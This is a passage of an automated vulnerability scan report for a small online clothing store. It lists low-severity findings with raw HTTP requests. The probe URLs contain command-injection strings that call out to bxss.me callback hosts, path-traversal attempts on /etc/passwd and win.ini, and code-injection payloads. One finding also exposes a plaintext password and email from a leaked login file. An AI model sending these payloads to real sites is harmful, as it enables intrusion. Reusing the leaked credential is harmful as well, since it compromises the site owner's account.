User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/$(nslookup%20hitbulkevgpzw28ce9.bxss.me||perl%20-e%20	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/$(nslookup%20hitbulkevgpzw28ce9.bxss.me||perl%20-e%20 HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/%252fetc%252fpasswd	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/%252fetc%252fpasswd HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afwindows%25c0%25afwin.ini	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET
/customer/customer_images/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afwindows%25c0%25afwin.ini HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/%60(nslookup%20hitpvaidkijys1bf8e.bxss.me||perl%20-e%20	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/%60(nslookup%20hitpvaidkijys1bf8e.bxss.me||perl%20-e%20 HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/%BF'%BF	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/%BF'%BF HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/&(nslookup%20hitvhtmylruzw19ca4.bxss.me||perl%20-e%20	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/&(nslookup%20hitvhtmylruzw19ca4.bxss.me||perl%20-e%20 HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/'	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/' HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/';print(md5(31337));$a='	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/';print(md5(31337));$a=' HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/(nslookup%20hitttcrblxbaw115db.bxss.me||perl%20-e%20	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/(nslookup%20hitttcrblxbaw115db.bxss.me||perl%20-e%20 HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/)	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/) HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/."	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/." HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/1	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/1 HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/1'	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/1' HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/;print(md5(31337));	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/;print(md5(31337)); HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/@@waiVM	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/@@waiVM HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/JyI=	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/JyI= HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/boot.ini	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/boot.ini HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/hosts	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/hosts HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/nz^xyu||a%20%23|	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/nz^xyu||a%20%23| HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/passwd	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/passwd HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/passwd%2500	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/passwd%2500 HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/version	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/version HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/win.ini	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/win.ini HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `phuc@gmail.com`

```
GET /customer/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/js/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt	
Alert group	**Email address found**
Severity	Informational

Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `phuc@gmail.com`

```
GET /js/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Password type input with auto-complete enabled**
Severity	Informational
Description	When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.
Recommendations	The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to: `<INPUT TYPE="password" AUTOCOMPLETE="off">`
Alert variants	
Details	Form name: <empty> Form action: checkout.php Form method: POST Form input: • c_pass [password]

```
GET /checkout.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Password type input with auto-complete enabled**
Severity	Informational
Description	When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.
Recommendations	The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to: `<INPUT TYPE="password" AUTOCOMPLETE="off">`
Alert variants	

Details	Form name: <empty> Form action: customer_register.php Form method: POST Form input: • c_pass [password]

```
GET /customer_register.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt

Alert group	**Possible username or password disclosure**
Severity	Informational
Description	A username and/or password was found in this file. This information could be sensitive. This alert may be a false positive, manual confirmation is required.
Recommendations	Remove this file from your website or change its permissions to remove access.
Alert variants	
Details	Pattern found: `Password: Phuc123@`

```
GET /customer/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/js/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt

Alert group	**Possible username or password disclosure**
Severity	Informational
Description	A username and/or password was found in this file. This information could be sensitive. This alert may be a false positive, manual confirmation is required.
Recommendations	Remove this file from your website or change its permissions to remove access.
Alert variants	
Details	Pattern found: `Password: Phuc123@`

```
GET /js/01%20LOGIN%20DETAILS%20&%20PROJECT%20INFO.txt HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**TLS 1.1 enabled**
Severity	Informational
Description	The web server supports encryption through TLS 1.1. When aiming for Payment Card Industry (PCI) Data Security Standard (DSS) compliance, it is recommended (although at the time or writing not required) to use TLS 1.2 or higher instead. According to PCI, "30 June 2018 is the deadline for disabling SSL/early TLS and implementing a more secure encryption protocol – TLS 1.1 or higher (TLS v1.2 is strongly encouraged) in order to meet the PCI Data Security Standard (PCI DSS) for safeguarding payment data.
Recommendations	It is recommended to disable TLS 1.1 and replace it with TLS 1.2 or higher.
Alert variants	
Details	The SSL server (port: 443) encrypts traffic using TLSv1.1.

Scanned items (coverage report)

```
https://onstor459.000webhostapp.com/
https://onstor459.000webhostapp.com/Cotton-tank-top
https://onstor459.000webhostapp.com/Hoodie-with-hood
https://onstor459.000webhostapp.com/Jeans-Basic-Slim
https://onstor459.000webhostapp.com/Shirt-Jacket
https://onstor459.000webhostapp.com/Wind-jacket
https://onstor459.000webhostapp.com/about.php
https://onstor459.000webhostapp.com/admin_area/
https://onstor459.000webhostapp.com/admin_area/product_images/
https://onstor459.000webhostapp.com/ao-len
https://onstor459.000webhostapp.com/ao-thun
https://onstor459.000webhostapp.com/black-coat
https://onstor459.000webhostapp.com/cart.php
https://onstor459.000webhostapp.com/checkout.php
https://onstor459.000webhostapp.com/contact.php
https://onstor459.000webhostapp.com/customer/
https://onstor459.000webhostapp.com/customer/01 LOGIN DETAILS & PROJECT INFO.txt
https://onstor459.000webhostapp.com/customer/change_pass.php
https://onstor459.000webhostapp.com/customer/checkout.php
https://onstor459.000webhostapp.com/customer/confirm.php
https://onstor459.000webhostapp.com/customer/customer_images/
https://onstor459.000webhostapp.com/customer/customer_images/!(()&&!|*|*|
https://onstor459.000webhostapp.com/customer/customer_images/"
https://onstor459.000webhostapp.com/customer/customer_images/$(nslookup hitbulkevgpzw28ce9.bxss.me||perl -e
https://onstor459.000webhostapp.com/customer/customer_images/%2fetc%2fpasswd
https://onstor459.000webhostapp.com/customer/customer_images/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%
https://onstor459.000webhostapp.com/customer/customer_images/`(nslookup hitpvaidkijys1bf8e.bxss.me||perl -e
https://onstor459.000webhostapp.com/customer/customer_images/�'�
https://onstor459.000webhostapp.com/customer/customer_images/�"�
https://onstor459.000webhostapp.com/customer/customer_images/&(nslookup hitvhtmylruzw19ca4.bxss.me||perl -e
https://onstor459.000webhostapp.com/customer/customer_images/'
https://onstor459.000webhostapp.com/customer/customer_images/'+'A'.concat(70-3).concat(22*4).concat(121).concat(86).concat(112).concat(84)+
(require'socket'Socket.gethostbyname('hitym'+'jrtpvznj70b9b.bxss.me.')[3].to_s)+'
https://onstor459.000webhostapp.com/customer/customer_images/'.gethostbyname(lc('hittc'.'ewuelbao4849d.bxss.me.')).'A'.chr(67).chr(hex('58')).ch
https://onstor459.000webhostapp.com/customer/customer_images/'.print(md5(31337)).'
https://onstor459.000webhostapp.com/customer/customer_images/';print(md5(31337));$a='
https://onstor459.000webhostapp.com/customer/customer_images/(nslookup hitttcrblxbaw115db.bxss.me||perl -e
https://onstor459.000webhostapp.com/customer/customer_images/)
https://onstor459.000webhostapp.com/customer/customer_images/."
https://onstor459.000webhostapp.com/customer/customer_images/1
https://onstor459.000webhostapp.com/customer/customer_images/1'
https://onstor459.000webhostapp.com/customer/customer_images/19805923
https://onstor459.000webhostapp.com/customer/customer_images/;(nslookup hitvpwwacplex86b41.bxss.me||perl -e
https://onstor459.000webhostapp.com/customer/customer_images/;print(md5(31337));
https://onstor459.000webhostapp.com/customer/customer_images/@@waiVM
https://onstor459.000webhostapp.com/customer/customer_images/JyI=
https://onstor459.000webhostapp.com/customer/customer_images/^(#$!@#$)(()))******
https://onstor459.000webhostapp.com/customer/customer_images/boot.ini
https://onstor459.000webhostapp.com/customer/customer_images/bxss.me
https://onstor459.000webhostapp.com/customer/customer_images/file.txt
https://onstor459.000webhostapp.com/customer/customer_images/fit.txt
https://onstor459.000webhostapp.com/customer/customer_images/hosts
https://onstor459.000webhostapp.com/customer/customer_images/nz^xyu||a #|
https://onstor459.000webhostapp.com/customer/customer_images/passwd
https://onstor459.000webhostapp.com/customer/customer_images/passwd%00
https://onstor459.000webhostapp.com/customer/customer_images/version
https://onstor459.000webhostapp.com/customer/customer_images/web.xml
https://onstor459.000webhostapp.com/customer/customer_images/win.ini
https://onstor459.000webhostapp.com/customer/customer_images/|(nslookup hitawbwfvchas2e674.bxss.me||perl -e
https://onstor459.000webhostapp.com/customer/customer_login.php
https://onstor459.000webhostapp.com/customer/customer_register.php
https://onstor459.000webhostapp.com/customer/delete_account.php
https://onstor459.000webhostapp.com/customer/delete_wishlist.php
https://onstor459.000webhostapp.com/customer/edit_account.php
https://onstor459.000webhostapp.com/customer/font-awesome/
https://onstor459.000webhostapp.com/customer/font-awesome/css/
https://onstor459.000webhostapp.com/customer/font-awesome/font/
https://onstor459.000webhostapp.com/customer/font-awesome/font/FontAwesome.otf
https://onstor459.000webhostapp.com/customer/fonts/
https://onstor459.000webhostapp.com/customer/forgot_pass.php
```

https://onstor459.000webhostapp.com/customer/functions/
https://onstor459.000webhostapp.com/customer/images/
